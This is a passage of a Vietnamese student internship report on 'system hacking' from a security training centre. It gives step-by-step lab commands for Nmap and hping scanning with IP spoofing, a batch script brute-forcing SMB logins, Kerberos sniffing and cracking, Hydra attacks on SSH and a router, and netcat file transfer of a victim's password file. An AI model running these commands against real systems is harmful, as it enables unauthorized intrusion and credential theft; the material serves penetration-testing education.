de an system hacking

126
BỘ CÔNG THƯƠNG TRƯỜNG CAO ĐẲNG KỸ THUẬT CAO THẮNG KHOA ĐIỆN TỬ - TIN HỌC BÁO CÁO THỰC TẬP TỐT NGHIỆP TẠI CÔNG TY ………………... GVHD: ………………………… CBHD: ………………………… ĐT (CBHD):…………………… SVTH:…………………………..

Upload: anh-binh

Post on 24-May-2015

644 views

Category:

Internet


12 download

TRANSCRIPT

BỘ CÔNG THƯƠNG

TRƯỜNG CAO ĐẲNG KỸ THUẬT CAO THẮNG

KHOA ĐIỆN TỬ - TIN HỌC

BÁO CÁO

THỰC TẬP TỐT NGHIỆP

TẠI

CÔNG TY ………………...

GVHD: …………………………

CBHD: …………………………

ĐT (CBHD):……………………

SVTH:…………………………..

LỚP: ……………………………

TP.HỒ CHÍ MINH, ngày …. tháng 05 năm 2014

Nội dung đề tài

Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ hoặc kết nối Internet . Trên các thiết bị này, hầu hết cài đặt các phần mềm  ứng dụng như  IE, Microsoft Office, Acrobat Reader ,…. và chạy hệ điều hành như  Windows XP, Windows 7…

Tuy nhiên, các ứng dụng này đều có những lổ hổng mà các hacker có thể xâm nhập và khai thác. Quá trình khai thác diễn ra âm thầm mà hầu hết các nạn nhân không thể nào biết được cho dù  thường xuyên update các chương trình diệt virus như  nhiều người suy nghĩ.  Để hiểu hơn về quá trình khai thác các lổ hổng trên máy tính, hệ thống máy tính và hệ điều hành chuyên đề: “System Hacking -XÂM NHẬP & KHAI THÁC LỔ HỔNG HỆ ĐIỀU HÀNH”.

Nội dung chính gồm có:-Các lỗ hổng mà hacker thường khai thác-Bộ công cụ dùng để phát hiện các lổ hổng mạng-Demo trình diễn xâm nhập các lổ hổng-Đưa ra giải pháp khắc phục các lổ hổng này

Lời cảm ơn

Xin cảm ơn ban giám đốc cùng toàn thể các anh chị trong Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA , sự tận tình giúp đỡ của các anh chị đã giúp em hoàn thành kì thực tập này. Xin chân thành cảm ơn Thầy Võ Đỗ Thắng , sự tận tâm cùng sự chỉ bảo của thầy đã giúp em hoàn thiện bản thân của mình hơn , hoàn thiện những kiến thức đã học cũng như học những kinh nghiệm quý báu , những tình cảm mà các anh chị dành cho em là nhựng kỷ niệm khó phai trong tâm trí

Xin gửi những lời cảm ơn chân thành nhất tới tất cả những thầy cô đã dìu dắt em trong suốt khoảng thời gian ngồi trên ghế nhà trường. Xin cảm ơn tất cả những thầy cô giảng dạy tại trường Cao Đẳng Kỹ Thuật Cao Thắng , tất cả những kiến thức , kinh nghiệm mà các thầy cô dạy cho em chính là hành trang để em bước đi trên đường đời , để em có thể hoàn thành tốt công việc trong đợt thực tập.

Sau cùng chúc Trung Tâm ATHENA ngày càng thành công và phát triển . Chúc các anh chị và quý thầy cô thật nhiều sức khỏe và may mắn

TPHCM , ngày…….. tháng………..năm………

Nhận Xét

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

. ..................................................................................................................

TP.HCM, Ngày……….Tháng……..Năm 2013

Giáo viên hướng dẫn

Mục Lục

Table of ContentsChương 1 : Scanning.................................................................................................................................1

1.1 Nmap là gì ?.....................................................................................................................................1

1.2 Nessus Scanning...............................................................................................................................3

1.3 Hping Scanning................................................................................................................................4

Chương 2 : Enumeration..........................................................................................................................5

2.1 Email Collector................................................................................................................................5

2.2 DNS Enumeration............................................................................................................................5

Chương 3 : System Hacking.....................................................................................................................7

3.1 Password Attack..............................................................................................................................7

3.1.1 Kerberos Attack........................................................................................................................7

3.1.2 Sử Dụng Hydra.........................................................................................................................8

3.2 Crunch Dictionary.........................................................................................................................11

3.2.1 Download và Install, Uninstall chương trình Crunch..........................................................12

3.2.2 Sử Dụng Crunch để tạo Password........................................................................................12

3.3 Netcat backdoor.............................................................................................................................13

3.3.1 Sử dụng Netcat........................................................................................................................14

3.4 System Hacking.............................................................................................................................15

3.4.1 Chuẩn bị Metasploit...............................................................................................................15

3.4.2 Cấu hình Ettercap DNS Spoofing..........................................................................................16

3.4.3 Kiểm tra metasploit...............................................................................................................17

3.4.4 Sử Dụng Netcat làm backdoor và hxdef100 rootkit............................................................20

3.4.5 Tạo ra backdoor và upload bằng metasploit.......................................................................23

Chương 4: Virus Worm Trojan..........................................................................................................24

4.1 By Pass Anti Virus.........................................................................................................................24

4.2 Tạo Trojan bằng Metasploit.........................................................................................................26

Chương 5 : DoS DdoS..........................................................................................................................27

5.1 Ping of Dealth Attack...................................................................................................................27

5.2 Syn Flood Attack..........................................................................................................................28

5.3 Sử Dụng Hping3 thực hiện Syn Flood Attack..............................................................................30

5.4 PHP DoS.........................................................................................................................................31

5.5 Apache DoS Slowloris...................................................................................................................32

5.6 Sử Dụng Poison Ivy tạo Botnet.....................................................................................................33

5.7 Dos và DdoS bằng công cụ Hyenae..............................................................................................34

Chương 6 : Sniffer...............................................................................................................................35

6.1 Cain Abel ARP Poisoning.............................................................................................................35

6.2 Ettercap DNS Spoofing.................................................................................................................36

6.3 Ettercap Sniffer Password............................................................................................................37

6.4 SSL Strip........................................................................................................................................39

Chương 7 : Session Hijacking............................................................................................................41

7.1 Hunt Session Hijacking.................................................................................................................41

7.2 Cookie Hijacking Yahoo Mail......................................................................................................42

7.3 Cookie Hijacking Hotmail.............................................................................................................43

Chương 8 : Wireless............................................................................................................................46

8.1 Crack WEP Key.............................................................................................................................46

8.1.1 Bước chuẩn bị.........................................................................................................................46

8.1.2 Ta dùng card usb để capture.................................................................................................47

8.1.3 Dùng card broadcom để inject...............................................................................................48

8.2 SỬ DỤNG AIRCRACK-NG CRACK WPA KEY......................................................................48

8.3 WPA Enterprise.............................................................................................................................51

8.3.1 Cài đặt và cấu hình Elektron 802.1X RADIUS Server.......................................................52

8.3.2 Cấu hình Wireless Access Point dùng WPA Enterprise......................................................53

Chương 9 : Web Application Attack.................................................................................................54

9.1 XSS Stored.....................................................................................................................................54

9.2 SQL Injection.................................................................................................................................55

9.3 Blind SQL Injection.......................................................................................................................56

9.4 Automatic Blind SQL Injection....................................................................................................58

Chương 10 : Buffer Overflow................................................................................................................61

10.1 Single Buffer Overflow Lab........................................................................................................61

10.1.1 Thực thi chương trình.........................................................................................................62

10.2 Kioptrix level 1 mod_ssl..............................................................................................................62

10.3 Buffer Overflow Wireshark 1.4.4...............................................................................................63

10.4 Vulnserver....................................................................................................................................64

Chương 11 : Evade IDS Firewall............................................................................................................73

11.1 Reverse ICMP Backdoor.............................................................................................................73

11.2 SSH Tunnel..................................................................................................................................74

11.3 Stunnel..........................................................................................................................................75

Chương 12 : Hướng dẫn tấn công máy victim bằng file pdf................................................................78

12.1 Hướng dẫn tấn công....................................................................................................................78

12.2 Cách phòng chống.......................................................................................................................84

Đề Tài : SysTem Hacking 1

Chương 1 : Scanning

1.1 Nmap là gì ?Nmap hay còn gọi là Network Mapper, nó là một công cụ dùng để quét hệ thống

mạng được viết bởi Gordon Lyon. Nmap được sử dụng để "khám phá" các máy chủ và các dịch vụ đang chạy trên máy tính do đó tạo nên một bản đồ mạng. Để thực hiện mục tiêu đó thì Nmap gửi các gói dữ liệu đặc biệt đến host mục tiêu sau đó phân tích các gói tin được trả về.

Nmap dùng cho các loại OS như Linux, Microsoft Windows, Solaris, HP-UX và BSD. Một số tùy chọn thường được dùng:

Tên Scan Cấu trúc lệnh Xác định TCP ports

Xác định được UDP ports

Syn scan -sS Yes No

Full scan (TCP connect scan )

-sT Yes No

FIN scan -sF Yes No

Xmas scan -sX Yes No

Null scan -sN Yes No

Ping scan -sP No No

Version Detection

-sV No No

UDP scan -sU No Yes

IP Protocol scan -sO No No

ACK scan -sA Yes No

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 2

Window scan -sW Yes Yes

Idlescan -sI Yes No

FTP Bounce scan -b Yes No

Các bước thực hiện :

o Bước 1: ta xem giúp đỡ của câu lệnh NMAPo Bước 2: thực hiện quá trình ping sweep cho đường mạng 192.168.1.0/24 để

xác định các host đang có trong đường mạng bằng câu lệnh “nmap -sP -v 172.16.34.1/24”

o Bước 3: Ta cần xác định xem ở IP 172.16.34.18 đang có nhưng port nào đang mở. Để làm việc này ta có thể sử dụng các dạng scan khác nhau. Ví dụ ở đây ta sử dụng kỹ thuật SYN scan với câu lệnh “nmap –sS 172.16.34.18”

o Bước 4: xác định giá trị port trong quá trình scan. Mặc định chương trình sẽscan tất cả các port. Ví dụ ta cần xác định trong đường mạng 172.16.34.1/24 thì đang có bao nhiêu máy đang mở port 445,139,80,3389 ta có thể sử dụng câu lệnh “nmap -sT -p 445,139,3389 172.16.34.1/24”

o Bước 5: Sử dụng nmap scan đường mạng với IP Public bên ngoài với câu lệnh “nmap -sS -p 80 222.253.166.1/24 > /root/Desktop/scan_adsl.txt” . Như vậy kết quả scan sẽ được ghi thành file scan_adsl.txt

o Bước 6: Sử dụng nmap để xác định các thông số của các ứng dụng được triển khai trên server. Ta sử dụng “nmap -p 1-65535 -T4 -A -v 192.168.0.4”

o Bước 7: Trong nmap hỗ trợ sử dụng các scripts đển scan một lỗi ứng dụng nào đó. Đầu tiên ta có thể sử dụng câu lệnh “locate nmap” để xác định các file script đang được hỗ trợ trong nmap. Ví dụ ta có thể sử dụng kiểm tra lỗi ms08-067 của các máy trong đường mạng “nmap -sT --script smb-check-vulns.nse -p 139,445 172.16.34.1/24”

Ngoài ra ta có thể kiểm tra xem trong mạng có máy nào đang chuyển card mạng sang Promicious mode để sniffer traffic trên đường truyền “nmap --script snifferdetect 172.16.34.1/24”

o Bước 8: Trong quá trình scan ta nên thay đổi các giá trị IP source, lưu lượng gói tin gửi trong thời gian 1 giây, thực hiện phân mảnh gói tin, giả thông số ttl. Ví dụta thực hiện câu lệnh “nmap -sS -p 3389,445,139,23,22,80 --max-rate 50 -S 10.0.0.1 192.168.1.78 -ttl 128 -f -e eth0 -Pn”

-sS : SYN Scan

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 3

-p : port--max-rate: luu luong maximum per second-f: fragment-S: Spoofing IP address-e: xac dinh interface-ttl: xac dinh gia tri ttl ( mac dinh window la 128 )

1.2 Nessus ScanningNessus là một trong những công cụ hỗ trợ admin scan các vulnerable của hệ điều

hành, các ứng dụng … khá tốt. Ngoài ra ta có thể sử dụng các công cụ khác như OpenVAS, GFI Languard

Các bước thực hiện :

o Bước 1: Đầu tiên ta sẽ download và đăng ký Activation Code tại trang web http://www.tenable.com/products/nessus . Các thao tác cấu hình của Nessus sẽ được thực hiện trên nền giao diện web

o Bước 2: Sau khi cài đặt xong, ta sử dụng trình duyệt web kết nối vào https://localhost:8834 để điều khiển Nessus

o Bước 3: Tiếp tục định nghĩa ra username và passwordo Bước 4: Nhập vào Activation Code o Bước 5: Sau đó chương trinh sẽ download về các Plugin để sử dụng scano Bước 6: Cấu hình Nessus scan vulnerable của hệ điều hành và ứng dụng. Các bước

chính ta cần cấu hình: Tạo Policy và chọn phương thức scan. Chọn đối tượng scan Kiểm tra kết quả và xuất report Đầu tiên ta login vào Nessus bằng cách sử dụng đường link

https://localhost:8834 Click vào Policies, click vào Add, định nghĩa ra một profile scan. Ở đây ta định

nghĩa ra profile có tên là Athena Scan Nhập vào username và password xác thực để scan (ta có thể scan được nhiều

lỗi hơn) hoặc ta không nhập username và password. Chọn Windows: Microsoft Bullentins để scan các lỗi của hệ điều hành

Window. Thông tin database ta để mặc định.o Bước 7: Tiếp tục ta Click vào SCANS , xác định Policy là Athena Scan, Scan

Target nhập vào IP 192.168.1.236 để cấu hình các đối tượng để scan.o Bước 8: Cuối cùng ta xem kết quả scan và xuất report

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 4

1.3 Hping ScanningHping để xác định các thông số hệ điều hành, port, dịch vụ tương ứng với. Ngoài

ra Hping cho phép ta tạo ra những gói tin theo ý mình và dễ dàng điều chỉnh lưu lượng

Các bước thực hiện :

o Bước 1: Hping là một trong những công cụ scan tốt. Nó cho phép ta tạo ra các gói tin theo ý muốn, điều chỉnh số lượng gói tin gửi … Mặc định hping2, hping3 được cài đặt mặc định trong Back Track 5. Ta có thể xem giúp đỡ bằng câu lệnh “hping3 --help”

o Bước 2: Sử dụng hping để gửi standard ICMP packet đến target. Bằng câu lệnh “hping3 –icmp –c 4 athena.edu.vn”

o Bước 3: Tiếp theo ta sử dụng lại câu lệnh ở trên và thêm vào 2 biến– d kích thước data trong gói tin – V hiển thị thông tin đầy đủ

o Bước 4: Sử dụng biến –j để xem kết quả output dạng hexa decimalo Bước 5: Sử dụng hping3 gửi SYN packet đến một host. Ta sẽ thêm biến –S

và –p để xác định giá trị port 25. Trên màn hình ta sẽ nhận được 4 packet với “SA” flag. Với giá trị SYN/ACK trả về nghĩa là port này Open. Câu lệnh ta phải nhập vào là “hping3 –S –p 25 –c 4 athena.edu.vn ”

o Bước 6: Attacker gửi ACK Probe với giá trị sequence number random. Nếu không có packet response nghĩa là port được filter ( có stateful firewall). Nếu RST packet reponse nghĩa là port không được filter (không có firewall) Ta có thể xác định thêm giá trị source port cho câu lệnh Ack Scan ở trên bằng biến –s. Ví dụ ta sẽ nhập vào câu lệnh “hping3 –A –p 25 -s 5555 –c 4 athena.edu.vn ”

o Bước 7: Ta có thể spoofing IP bằng biến –a. Ví dụ ta nhập vào câu lệnh như sau “hping3 -S -p 80 -s 5555 -a 192.168.1.121 -c 10 192.168.1.254” Nếu như ta sử dụng wireshark capture traffic thì sẽ thấy traffic giữa 2 IP

192.168.1.121 và IP 192.168.1.254o Bước 8: Để scan cùng 1 lúc nhiều port thì ta sẽ sử dụng option --scan [port

cần scan]. Ví dụ “hping3 –S –scan 80,443,25,85-90 –V athena.edu.vn”

Chương 2 : Enumeration

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 5

2.1 Email CollectorSử dụng các công cụ search như Google, Yahoo, Bing để tìm thống kê danh sách

các email của các nhân viên trong 1 tổ chức. Các email tìm được sẽ là các email của các nhân viên có ghi lại email của mình trên các website. Để quá trình thực hiện nhanh hơn ta sử dụng tính năng email collector có trong metasploit

Các bước thực hiện :

o Bước 1: Ta sẽ sử dụng module email_collector trong chương trình metasploit để thực hiện việc này. Sau đó search email_collector

o Bước 2: Ta sử dụng module auxiliary/gather/search_email_collector bằng câu lệnh “use auxiliary/gather/search_email_collector”

o Bước 3: Tiếp tục ta nhập vào câu lệnh “show options” để xác định các thông số ta phải nhập vào. Dựa trên kết quả màn hình bên dưới thì ta cần phải nhập vào thông số domain name

o Bước 4: Tiếp tục ta nhập vào thông số domain name ta cần tìm kiếm. Ví dụ nhập vào câu lệnh “set DOMAIN athenavn.com” và nhập vào lệnh “run” để chương trình hoạt động. Ta sẽ thu thập được 1 số thông số các email

o Bước 5: Ta test thử với domain khác. Ví dụ ở đây ta dùng thử domain“vnn.vn”

2.2 DNS EnumerationDNS enumeration là tiến trình xác định các DNS Server và các record DNS của

một tổ chức nào đó. Trong một công ty internal và external server đều có thể cung cấp các thông số username, computer name, IP . Để thực hiện DNS enumeration có rất nhiều tool để thực hiện ví dụ như NSLOOKUP, DIG, HOST, DNSstuff…

DNS Zone Transfer thường được sử dụng để replicate DNS data giữa các DNS Server hoặc sử dụng để backup. Một user của server sẽ thực hiện yêu cầu zone transfer từ một name server. Nếu một name server cho phép thực hiện zone Tài liệu Học Hacker Mũ Trắng –AEH Tại ATHENA . GV Lê Đình Nhân transfer thì tất cả các DNS names, IP address của name server này sẽ được chuyển thành dạng ASCII text có thể đọc được.

Mục đích của DNS Enumeration là thu thập các thông tin DNS. Phần bên dưới ta sử dụng các công cụ như DNSenum, Dig, nslookup để tìm kiếm các thông tin DNS. DNSenum.pl là một công cụ có sẵn trong Back Track 5, ta có thể đi đến đường dẫn “/pentest/enumeration/dns/dnsenum” và kiểm tra các thông số giúp đỡ của câu lệnh bằng câu lệnh “./dnsenum.pl”

Các bước thực hiện :

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 6

Ta sẽ sử dụng câu lệnh “ ./dnsenum.pl --enum -f dns.txt --update a –r athena.com.vn “

--enum : sẽ thực hiện các tính năng “--threads 5 -s 20 –w”

--threads : xác định số luồng các query

-s : xác định số maximum subdomains sẽ tìm kiếm từ google

-w: sử dụng whois queries ở lớp mạng C

-f : xác định file dictionary, chủ yếu sử dụng để query dns

--update –a : quá trình update sử dụng tất cả các kết quả

-r : nghĩa là recursive, brute force tất cả subdomain tìm được

Dig là công cụ để thực hiện truy vấn thông tin DNS Server host addresses, mail exchanges, nameservers, và các thông tin khác. Công cụ này được cài đặt sẵn trong môi trường Linux , Mac OS.Đầu tiên có thể thử câu lệnh dig google.com, nó sẽ cho các Record A đại diện cho các server google trong khu vực, các record NS đại diện cho các DNS Server.

Tiếp tục ta thử truy vấn xem DNS Server ns1.google.com thì sẽ phân giải tên miền mail.google.com như thế nào bằng câu lệnh “dig @ns1.google.com mail.google.com”

Tìm kiếm các Name Server phân giải tên miền yahoo.com và các Mail Server bằng câu lệnh dig NS MX yahoo.com

Tìm kiếm thông tin Zone Transfer của domain athena.com.vn bằng câu lệnh dig @smtp.athena.com.vn athena.com.vn axfr

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 7

Chương 3 : System Hacking

3.1 Password AttackĐể kết nối đến một máy tính thông qua mạng thì trong hệ điều hành Window ta có

thể sử dụng câu lệnh “net use” C:\> net use \\192.168.1.100 password /u:administrator

Sau khi quá trình kết nối thành công thì ta có thể sử dụng tài nguyên tại máy 192.168.1.100 vì ta đã có một session với quyền administrator. Tiếp theo ta có thể sử dụng Psexe để gọi cmd.exe của máy 192.168.1.100

Tuy nhiên ở đây ta có thể sử dụng đoạn script đơn giản bên dưới để kết nối đến máy 192.168.1.100 với thông số username và password đã được lưu trữtrong file credentials.txt. Ví dụ ta tạo ra một file có tên là for.bat có nội dung giống như bên dưới.

@echo off

FOR /F "tokens=1,2*" %%i in (credentials.txt)^

do net use \\192.168.1.100\IPC$ %%j /u:%%i^

2>\>nul^

&& echo %time% %date% >\> ketqua.txt^

&& echo \\192.168.1.100 user:%%i password:%%j >\> ketqua.txt

Cuối cùng ta thử thực thi đoạn scripts với đối tượng là PC có IP 192.168.1.100

3.1.1 Kerberos Attack Ta có mô hình bài Lab như sau:

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 8

Các bước chuẩn bị :

o Máy VICTIM là Window XP, Server là Window 2003, gán IP theo sơ đồo Máy attacker sử dụng Window 7 ( gán IP theo sơ đồ ) và đang cài đặt 2

chương trình KerbSniff và KerbCrack Cain abel

Các bước thực hiện:

o Máy attacker kích hoạt chương trình Kerbsniff để sniffer traffic o Nhập vào câu lệnh kerbsniff.exe capture.txt nghĩa là sniff và ghi kết quả ra

thành file capture.txt o Attacker sử dụng chương trình Cain Abel để scan đường mạng xung

quanhthực hiện ARP Poisonning giữa 2 IP 192.168.1.100 và 192.168.1.200 o Máy XP thực hiện quá trình join vào domain và nhập thông tin xác thực o Lúc này ta thấy ở cửa sổ của chương trình kerbsniff đã xuất hiện các dấu * .

Mỗi dấu * tương ứng với các gói tin xác thực kerberos o Tại máy Window XP thực hiện quá trình login vào o Tại máy attacker sử dụng chương trình kerbcrack để crack gói tin kerberos

xác thực bằng câu lệnh “kerbcrack.exe capture.txt –d password.txt ”

3.1.2 Sử Dụng HydraHydra và Medusa là hai chương trình thực hiện online password attack thông

dụng. Hai chương trình này đã được install sẵn trong Back Track 5.

Ta có thể cài đặt chương trình Hydra phiên bản 6.4 từ source. Đầu tiên ta cài đặtcác thư viện cần thiết cho chương trình.

root@nhanld-laptop:/# sudoapt-getinstall build-essential linux-headers-$(uname -r) libgtk2.0-dev libssl-dev cmake

Tuy nhiên chương trình hydra không tương thích với libssh của Ubuntu. Vì vậy ta sẽ install libssh manually

root@nhanld-laptop:/# cd /home/nhanld/Download

root@nhanld-laptop:/home/nhanld/Downloads# wget -c

http://www.libssh.org/files/0.4/libssh-0.4.6.tar.gz

root@nhanld-laptop:/home/nhanld/Downloads# tar -xvzf libssh-

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 9

Tài Liệu Học Hacker Mũ Trắng-AEH tại ATHENA.GV: Lê Đình Nhân

0.4.6.tar.gz

root@nhanld-laptop:/home/nhanld/Downloads# cd libssh-0.4.6

root@nhanld-laptop:/home/nhanld/Downloads# mkdir build

root@nhanld-laptop:/home/nhanld/Downloads# cd build

root@nhanld-laptop:/home/nhanld/Downloads# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug ..

root@nhanld-laptop:/home/nhanld/Downloads# make

root@nhanld-laptop:/home/nhanld/Downloads# sudo make install

Download phiên bản Hydra 6.4 hoặc phiên bản 5.9

root@nhanld-laptop:/home/nhanld/Downloads # tar xvf hydra-6.4-src.tar.gz

root@nhanld-laptop:/home/nhanld/Downloads # cd hydra-6.4-src

root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # mkdir

/opt/hydra

root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # ./configure

--prefix=/opt/hydra

root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # make

root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # make

install

Mô hình bài lab như sau:

Máy attacker sử dụng Backtrack 5 hoặc máy linux đã được cài đặt chương trình Hydra

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 10

Ta gọi file thực thi hydra để hoạt động ở giao diện dòng lệnh và file xhydra ở giao diện đồ họa : root@nhanld-laptop:/opt/hydra/bin# cd /opt/hydra/bin/ && ls –l total 308

-rwxr-xr-x 1 root root 242600 2011-06-18 08:50 hydra

-rwxr-xr-x 1 root root 10432 2011-06-18 08:50 pw-inspector

-rwxr-xr-x 1 root root 56576 2011-06-18 08:50 xhydra

Sử dụng Nmap để scan victim : root@nhanld-laptop:/opt/hydra/bin#nmap -sS -p 22,23,80,443 192.168.1.254

Sử dụng Hydra attack victim Wireless Route Access Point Linksys : root@nhanld-laptop:/opt/hydra/bin # ./hydra 192.168.1.254 -L /opt/hydra/wordlist/userlist.txt -P /opt/hydra/wordlist/password.txt -t 1 -e ns -f

-V http-get /

-L: đường dẫn đến file chứa username

-P: đường dẫn đến file chứa password

-t : xác định số kết nối đồng thời. Ví dụ -t 1 là chỉ thực hiện 1 kết nối

-e ns: là thử kết nối với null password ứng với user login

-f : stop khi password đầu tiên được tìm thấy

-V: hiển thị quá trình làm việc

http-get / : phương thức login và đường dẫn

Sử dụng Hydra attack OpenSSH-Server : root@nhanld-laptop:/ # ./hydra -L /opt/hydra/wordlist/userlist.txt -P /opt/hydra/wordlist/password.txt -o login.pwd -w 30 -f -vV 192.168.1.6 ssh

-w: thời gian đợi tối đa cho gói tin response

Sử dụng hydra ở giao diện đồ họa: root@nhanld-laptop:/opt/hydra/bin# ./xhydra &

3.2 Crunch Dictionary Crunch là chương trình tạo từ điển để sử dụng tấn công Password. Kích thước của

từ điển được tạo ra bởi chương trình crunch thì không có được ước lượng được trước.Tuy nhiên điểm mạnh của chương trình cho phép sử dụng các mẫu password để tạo giảm kích thước wordlist. Ta có nén lại file output với định dạng khác nhau và kể từ version 2.6 thì crunch còn cung cấp cho ta biết dung lượng của wordlist sau khi được tạo ra, crunch còn

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 11

cho ta khoảng thời gian 3 giây để quyết định xem có tạo ra file wordlist hay không nếu như kích thước file quá lớn so với dự định của mình.

Các tính năng của chương trình crunch.

-b: dung lượng maximum của 1 file. Ta có thể tạo ra các file theo định dạng là KB/MB/GB ( phải sử dụng chung với biến -o START )

-c: số lượng dòng để ghi output file, phải sử dụng chung với -o START

-f: đường dẫn đến charset.lst để sử dụng, đường dẫn mặc định là /pentest/password/crunch/charset.lst ( Back Track 5 )

-i: chuyển đổi thứ tự output từ trái sang phải thành từ phải sang trái. Ví dụ thay vì password là aaa, aab, aac, aad thì sau khi ta đảo sẽ thành aaa, baa, caa, daa

-l: Khi ta xác định một mẫu password với option -t, thì options -l cho phép bạn định dạng các ký tự theo nghĩa đen thay vì đặt trong dấu ngoặc ( @,%,^ )

-o: cho phép ta xác định tên và đường dẫn của output filename.txt

-p: print in sự hoán vị của từ hay ký tự đã được cung cấp trên command line

-q: print in sự hoán vị của từ hay ký tự được tìm thấy trong một filename.txt

-s: Cho phép ta xác định chữ bắt đầu của wordlist

-t: cho phép ta xác định mẫu password được dùng ( rule based password attack ). Tất nhiên đây là một trong những tính năng rất hay của chương trình crunch. Các ký tự đặc biệt trong chương trình

@ --- đại diện cho các ký tự không viết hoa

, --- đại điện cho các ký tự viết hoa

% đại diện cho các ký tự số

^ --- đại diện cho các ký tự đặc biệt ( bao gồm luôn cả ký tự khoảng trắng )

-u: ước lượng kích thước wordlist, số dòng có trong wordlist được tạo ra.

-z: cung cấp tính năng nén file output, có thể theo các dạng là gzip, bzip, lzma

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 12

3.2.1 Download và Install, Uninstall chương trình CrunchDownload file tại đường link http://sourceforge.net/projects/crunch-wordlist/

Install file từ source gói tin

#tar xvf crunch-3.0.1.tgz && cd crunch-3.0/

#make

#make install

Để uninstall chương trình crunch

#cd crunch-3.0

#make uninstall

Deleting binary and manpages...

rm -f /pentest/passwords//crunch/crunch

rm -f /usr/local/share/man/man1/crunch.1

Chương trình thông báo ta xóa hai file hiển thị ở trên

#rm -f /pentest/passwords//crunch/crunch

#rm -f /usr/local/share/man/man1/crunch.1

3.2.2 Sử Dụng Crunch để tạo PasswordCú pháp căn bản của chương trình là: ./crunch [min length] [max length]

[character set] [options]

*min length+ : độ dài tối thiểu của password

*max length+ : độ dài tối đa của password

[character set] : các yếu tố tạo thành password

*options+ : định nghĩa các option

Ví dụ 1: root@bt # /pentest/passwords/crunch/crunch 8 8 abc + + \!\@\# -t TEST^%,@ -o test.txt

o Tạo ra password có chiều dài tối thiểu là 8 ký tự và chiều dài tối đa là 8 ký tự

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 13

o Các thành phần Password được tạo ra ngẫu nhiên là ký tự abc, cộng thêm các ký tự đặc biệt lần lượt là ! @ #

o Biến -t xác định rằng password mình tạo ra phải bắt đầu bằng chữ TEST, ký tự kế tiếp phải là ký tự đặc biệt ( thông qua dấu ^ ) , ký tự kế tiếp là số ( thông qua dấu % ), ký tự kế tiếp là chữ ký tự viết hoa ( thông qua dấu , ) và ký tự cuối cùng là ký tự viết thường ( thông qua dấu @ )

o -o cấu hình output ra thành file password có tên là test.txt

Ví dụ 2: Sử dụng tính năng hoán vị ta có 2 tùy chọn là -p và -q. Tính năng -p nghĩa là hoán vị các ký tự được định nghĩa trên dòng lệnh. Tính năng -q hoán vị các ký tự được định nghĩa thông qua một wordlist. Trong tính năng này mặc dù không có khái niệm độ dài ký tự nhưng ta cũng nên định nghĩa

root@bt # ./crunch 1 1 -p abcd : Tạo ra password được hoán vị từ ký tự abcd

root@bt # ./crunch 1 1 -p bird dog cat :Tạo ra password được ghép lại từ 3 từ bird, cat, dog. Ngoài ra ta thực hiện quá trình hoán vị qua lại chỉ giữa 3 chữ trên.

root@bt # echo "bird" > test.txt && echo "cat" >> test.txt && echo "dog" >> test.txt

root@bt# ./crunch 1 1 -q test.txt :Tạo ra file password là hoán vị của tất cả các từ có trong file.

3.3 Netcat backdoorTrong bài lab này ta sẽ sử dụng công cụ netcat. Đầu tiên ta sẽ tìm hiểu một sốtính

năng cơ bản của chương trình netcat. Phần còn lại ta sẽ sử dụng netcat làm backdoor.

Download source netcat.

Chương trình netcat được thực thi ở giao diện "command line"

Mô hình bài lab ta cần 2 đối tượng là máy Window XP là Attacker và một máy Window Server 2003 là Victim

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 14

3.3.1 Sử dụng Netcat Đầu tiên ta kiểm tra giao diện dòng lệnh của netcat “C:\nc>nc.exe –h ”

Cấu hình netcat listen ở port 4444 trên máy Window “C:\netcat>nc.exe -lvp 4444”

-l: lắng nghe trên IP

-v: verbose (hiển thị chi tiết thông tin kết nối)

-p: port lắng nghe

Sau khi cấu hình xong ta có thể kiểm tra trạng thái kết nối tại máy Window “C:\> netstat –ano” =>kiếm dòng hiện thị LISTEN ở port 4444

Từ một máy Window hoặc Linux sử dụng chương trình netcat kết nối vào IP đang Listen ở port 4444 : E:\netcat>nc.exe -v -n 172.16.30.42 4444172.16.30.42 la IP cua may cau hinh netcat listen o port 4444

-v: verbose

-n: bo qua tien trinh DNS lookup

Ta thử kiểm tra bằng cách nhập 1 số ký tự trên cả 1 màn hình thì thông điệp này sẽ được gửi đến máy còn lại

Sử dụng Netcat để truyền file giữa 2 máy

o Victim : C:\netcat>nc.exe -lvp 4444 < password.txto Attacker :E:\netcat>nc.exe -v -n 172.16.30.42 4444 > 1111.txt => file

password.txt được truyền qua máy attacker và được rename thành 1111.txt

Sử dụng Netcat làm backdoor

